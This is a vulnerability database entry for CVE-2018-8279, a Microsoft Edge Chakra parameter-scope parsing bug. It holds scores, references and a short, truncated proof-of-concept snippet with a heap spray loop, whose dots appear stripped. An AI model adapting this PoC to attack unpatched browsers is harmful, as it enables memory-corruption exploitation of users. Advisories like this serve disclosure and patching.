Published: 11/07/2018 Updated: 24/08/2020

CVSS v2 Base Score: 7.6 | Impact Score: 10 | Exploitability Score: 4.9

CVSS v3 Base Score: 7.5 | Impact Score: 5.9 | Exploitability Score: 1.6

VMScore: 765

Vector: AV:N/AC:H/Au:N/C:C/I:C/A:C

A remote code execution vulnerability exists when Microsoft Edge improperly accesses objects in memory, aka "Microsoft Edge Memory Corruption Vulnerability." This affects Microsoft Edge, ChakraCore. This CVE ID is unique from CVE-2018-8125, CVE-2018-8262, CVE-2018-8274, CVE-2018-8275, CVE-2018-8301.

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microsoft edge -
microsoft chakracore

// PoC: async function trigger(a = class b { [await 1]() { } }) { } let spray = []; for (let i = 0; i < 100000; i++) { spraypush(parseFloatbind(1, 0x1234, 0x1234, 0x1234, 0x1234)); } trigger(); /* The PoC is invalid JavaScript, but Chakra does parse it without any exception and generates incorrect bytecode from that Here's th ...

Microsoft Edge Chakra suffers from a parameter scope parsing bug ...

CWE-843 https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8279 http://www.securitytracker.com/id/1041256 http://www.securityfocus.com/bid/104641 https://www.exploit-db.com/exploits/45214/https://nvd.nist.gov https://www.exploit-db.com/exploits/45214/

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CVE-2018-8279

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